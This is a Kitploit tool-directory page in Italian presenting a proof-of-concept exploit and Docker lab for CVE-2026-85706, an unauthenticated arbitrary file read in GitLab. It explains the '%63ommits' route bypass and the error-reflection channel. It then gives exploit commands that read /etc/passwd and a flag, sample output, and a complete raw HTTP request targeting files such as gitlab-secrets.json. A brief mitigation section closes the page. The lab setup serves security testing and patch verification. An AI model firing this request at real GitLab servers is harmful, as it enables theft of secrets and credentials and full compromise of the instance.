Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-85706 — PoC e laboratorio Docker per CVE-2026-85706, una lettura arbitraria di file non autenticata in GitLab CE/EE tramite il bypass della rotta API dei commit e il canale di errore urlencoded. | Kitploit
Strumenti/GitHubGitHub/eqstlab/cve-2026-85706
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebEsfiltrazione DatiRaccolta InformazioniSicurezza WebPenetration TestingLab e Pratica
GitHubeqstlab/cve-2026-85706

CVE-2026-85706

PoC e laboratorio Docker per CVE-2026-85706, una lettura arbitraria di file non autenticata in GitLab CE/EE tramite il bypass della rotta API dei commit e il canale di errore urlencoded.

23412 giorni faNon ancora revisionato
Vedi Repository

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-85706 GitLab lettura arbitraria di file non autenticata

★ CVE-2026-85706 GitLab lettura arbitraria di file non autenticata PoC ★

https://github.com/user-attachments/assets/026749ec-04e9-4dd5-9453-cb7c1f6e823d


Panoramica

CVE-2026-85706 è una lettura arbitraria di file non autenticata in GitLab CE/EE (CVSS 10.0, CISA KEV) tramite POST /api/v4/projects/:id/repository/commits, il cui helper di upload del body viene eseguito prima di authenticate! e legge params['file.path'] come percorso assoluto senza alcun confinamento. Codificando con URL-encoding un carattere di commits → %63ommits si fa sì che GitLab-Workhorse non riconosca la route (quindi non sovrascrive mai file.path), mentre Rails decodifica comunque %63 → c e instrada verso l'handler — consentendo all'attaccante di impostare file.path tramite la query string. Con Content-Type=application/x-www-form-urlencoded, l'helper ri-analizza il contenuto del file e un % non seguito da due cifre esadecimali riflette quel contenuto nel body 400 (i file che non ne contengono forniscono solo un oracolo di lettura 401). Richiede almeno un progetto pubblico.


Versioni interessate

CategoriaVersione
VulnerabiliGitLab CE/EE 18.7 – 19.1.7, 19.2.0 – 19.2.5, 19.3.0 – 19.3.1
Corrette19.1.8 / 19.2.6 / 19.3.2 o successive (2026-09-10)

Impatto

  • Lettura arbitraria di file non autenticata di qualsiasi file leggibile dal processo del servizio GitLab
  • Divulgazione di file il cui contenuto contiene un % non valido (log applicativi e configurazioni/credenziali che incorporano valori URL-encoded) → ricognizione + furto di credenziali → concatenazione verso accesso autenticato / compromissione completa dell'istanza
  • La primitiva di lettura raggiunge file di alto valore (gitlab-secrets.json, database.yml); si noti che i file puramente hex/base64 restituiscono solo un oracolo di esistenza attraverso il canale pubblico di riflessione % (nessun byte % non valido per attivare l'eco)
  • La correzione aggiunge authenticate! prima dell'helper di upload del body, così una richiesta non autenticata viene rifiutata prima del sink di lettura file

Ambiente

Compila ed esegui GitLab CE vulnerabile. All'avvio, il seeder deposita /flag.txt (con un trigger di leak % finale) e crea un progetto pubblico victim/public-app (project id 1) così che l'API commits sia raggiungibile senza autenticazione. Il primo avvio richiede ~2–3 minuti.

docker build -t cve-2026-85706 .
docker run -d --name cve-2026-85706 --shm-size 256m -p 8088:80 cve-2026-85706

# wait until the seeder reports it is ready
docker exec cve-2026-85706 tail -n 20 /var/log/seed.log   # look for: [seed] SEED_DONE ...

La flag è un placeholder (EQST{gitlab_cve_2026_85706_arbitrary_file_read}). Impostane una tua al momento dell'esecuzione senza modificare l'immagine: docker run -e FLAG='YOUR_FLAG' ... cve-2026-85706.

PrecondizioneStato in questo lab
GitLab 18.7 – 19.1.719.1.7-ce.0
Almeno un progetto pubblico (anon raggiunge l'API commits)victim/public-app (id 1), creato automaticamente
/api/v4/projects/:id/repository/commits raggiungibile senza autenticazioneesposto
Flag sul filesystem del server/flag.txt (trigger di riflessione % finale)

PoC

L'exploit gitlab_exploit.py legge un file dal server con una singola richiesta non autenticata, usando il bypass della route Workhorse %63ommits e il canale di errore di ri-analisi urlencoded. Scegli il file con --read (predefinito /flag.txt).

# default: read /flag.txt and print the flag
python3 gitlab_exploit.py 172.17.0.2

# read any absolute path (content disclosed only if it contains an invalid '%')
python3 gitlab_exploit.py 172.17.0.2 --read /etc/passwd

# just confirm the sink is reachable
python3 gitlab_exploit.py 172.17.0.2 --check
[*] target   http://172.17.0.2
[*] endpoint /api/v4/projects/1/repository/%63ommits
[*] file.path /flag.txt
[+] arbitrary file read OK -> content of /flag.txt:
    EQST{gitlab_cve_2026_85706_arbitrary_file_read}%
[+] FLAG: EQST{gitlab_cve_2026_85706_arbitrary_file_read}

Opzioni:

  • --read "<abs path>" — percorso file assoluto da leggere (predefinito /flag.txt)
  • --project <id> — id del progetto pubblico raggiungibile senza autenticazione (predefinito 1)
  • --check — conferma solo che il sink di lettura file è raggiungibile (si aspetta local file not present)

Richiesta raw (per Burp Repeater):

POST /api/v4/projects/1/repository/%63ommits?file=&file.path=/flag.txt&file.size=1&Content-Type=application/x-www-form-urlencoded HTTP/1.1
Host: 172.17.0.2
Content-Length: 0
Connection: close


Mitigazione

  • Aggiorna GitLab a 19.1.8 / 19.2.6 / 19.3.2 o successive
  • Se non puoi aggiornare immediatamente, blocca POST/PUT verso */repository/commits* e */repository/files* a livello di proxy/WAF, e colloca l'istanza dietro SSO / VPN / una allowlist di IP
  • Dopo il patching: presupponi che qualsiasi file leggibile dal servizio GitLab (log, configurazioni, segreti) sia stato esposto se l'endpoint era raggiungibile da Internet — invalida le sessioni e ruota le credenziali / i segreti esposti

Analisi

  • KR:
  • EN:
Scarica lo strumento